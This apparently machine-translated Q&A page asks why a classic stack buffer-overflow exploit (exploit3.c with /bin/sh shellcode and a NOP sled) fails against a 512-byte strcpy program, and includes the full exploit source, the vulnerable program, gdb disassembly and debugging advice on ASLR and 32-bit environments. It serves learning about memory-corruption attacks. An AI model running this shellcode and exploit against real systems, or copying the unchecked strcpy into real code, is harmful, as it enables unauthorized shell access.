c - 我想使用 C shell 代码使缓冲区溢出并执行 bin/sh
问题描述
我试图让缓冲区溢出并运行 shellcode 来执行 bin/sh
我们的缓冲区大小的一个很好的选择是比我们试图溢出的缓冲区的大小多 100 字节。这会将我们的代码放在我们试图溢出的缓冲区的末尾,为 NOP 提供大量空间,但仍会用我们猜测的地址覆盖返回地址。我们试图溢出的缓冲区是 512 字节长,所以我们将使用 612。
漏洞利用3.c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#define DEFAULT_OFFSET 0
#define DEFAULT_BUFFER_SIZE 512
#define NOP 0x90
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
unsigned long get_sp(void) {
__asm__("movl %esp,%eax");
}
void main(int argc, char *argv[]) {
char *buff, *ptr;
long *addr_ptr, addr;
int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
int i;
if (argc > 1)
bsize = atoi(argv[1]);
if (argc > 2)
offset = atoi(argv[2]);
if (!(buff = malloc(bsize))) {
printf("Can't allocate memory.\n");
exit(0);
}
addr = get_sp() - offset;
printf("Using address: 0x%lx\n", addr);
ptr = buff;
addr_ptr = (long *) ptr;
for (i = 0; i < bsize; i+=4)
*(addr_ptr++) = addr;
for (i = 0; i < bsize/2; i++)
buff[i] = NOP;
ptr = buff + ((bsize/2) - (strlen(shellcode)/2));
for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode[i];
buff[bsize - 1] = '\0';
memcpy(buff,"EGG=",4);
putenv(buff); system("/bin/bash");
}
易受攻击的.c
#include <unistd.h>
#include <string.h>
int main(int argc, char *argv[])
{
char xbuff[512];
if(argc >1)
strcpy(xbuff, argv[1]);
return 0;
}
函数 main 的汇编代码
(gdb) disass main
Dump of assembler code for function main:
0x0804840b <+0>: lea 0x4(%esp),%ecx
0x0804840f <+4>: and $0xfffffff0,%esp
0x08048412 <+7>: pushl -0x4(%ecx)
0x08048415 <+10>: push %ebp
0x08048416 <+11>: mov %esp,%ebp
0x08048418 <+13>: push %ecx
0x08048419 <+14>: sub $0x204,%esp
0x0804841f <+20>: mov %ecx,%eax
0x08048421 <+22>: cmpl $0x1,(%eax)
0x08048424 <+25>: jle 0x8048441 <main+54>
0x08048426 <+27>: mov 0x4(%eax),%eax
0x08048429 <+30>: add $0x4,%eax
0x0804842c <+33>: mov (%eax),%eax
0x0804842e <+35>: sub $0x8,%esp
0x08048431 <+38>: push %eax
0x08048432 <+39>: lea -0x208(%ebp),%eax
0x08048438 <+45>: push %eax
0x08048439 <+46>: call 0x80482e0 <strcpy@plt>
0x0804843e <+51>: add $0x10,%esp
0x08048441 <+54>: mov $0x0,%eax
0x08048446 <+59>: mov -0x4(%ebp),%ecx
0x08048449 <+62>: leave
0x0804844a <+63>: lea -0x4(%ecx),%esp
0x0804844d <+66>: ret
End of assembler dump.
程序被执行,但 bin/sh 没有被调用:
[aleph1]$ ./exploit3 612
Using address: 0xbffffdb4
[aleph1]$ ./vulnerable $EGG
[aleph1]$
预期输出为:
[aleph1]$ ./exploit3 612
Using address: 0xbffffdb4
[aleph1]$ ./vulnerable $EGG
$ exit
[aleph1]$
有问题 ??!!
第二个问题:为什么exploit3.c 在main() 的末尾运行system("/bin/bash")?
解决方案
exploit3
最后运行一个shell,因为它在这里
memcpy(buff,"EGG=",4);
putenv(buff);
使用数据创建一个环境变量,它应该溢出缓冲区,这在这个 shell 中是有效的:
system("/bin/bash");
如果程序简单地结束,环境变量就会“丢失”,因为它没有神奇地传递给调用进程。
至于为什么溢出不起作用:这很难说,因为环境可能会有很大差异。您可以检查以下内容:
- shellcode 是 32 位的,确保你的环境也确实是 32 位的
- 确保地址空间随机化对您的操作系统无效 (
/proc/sys/kernel/randomize_va_space
) - 使用带有断点的调试器
main()
(在ret
执行之前)并检查 shellcode 现在所在的位置。堆栈上的返回地址真的被正确的值覆盖了吗?
推荐阅读
- javascript - 如何设置 WordPress 和 WooCommerce API,以便在发布时不会出现 CORS 错误?
- autodesk-forge - 使用 Auto-desk Forge 实现登录系统
- python - 使用 pymongo 将数据插入 mongo 时删除 NaT 值
- c - 我的插座游戏有一些问题,我不明白为什么
- debian - Snort 规则配置问题
- python - 如何使用 BeautifulSoup 通过类似的 HTML 块“循环”?
- html - 推文后重定向 - 通过网站的 twitter 实现共享
- javascript - 在Javascript中,所有小数点都是奇数吗?
- sql - SQLite3 代码动态插入要删除的行数据的列值
- matlab - Matlab 2017:在标记的二进制图像中,用不同颜色填充斑点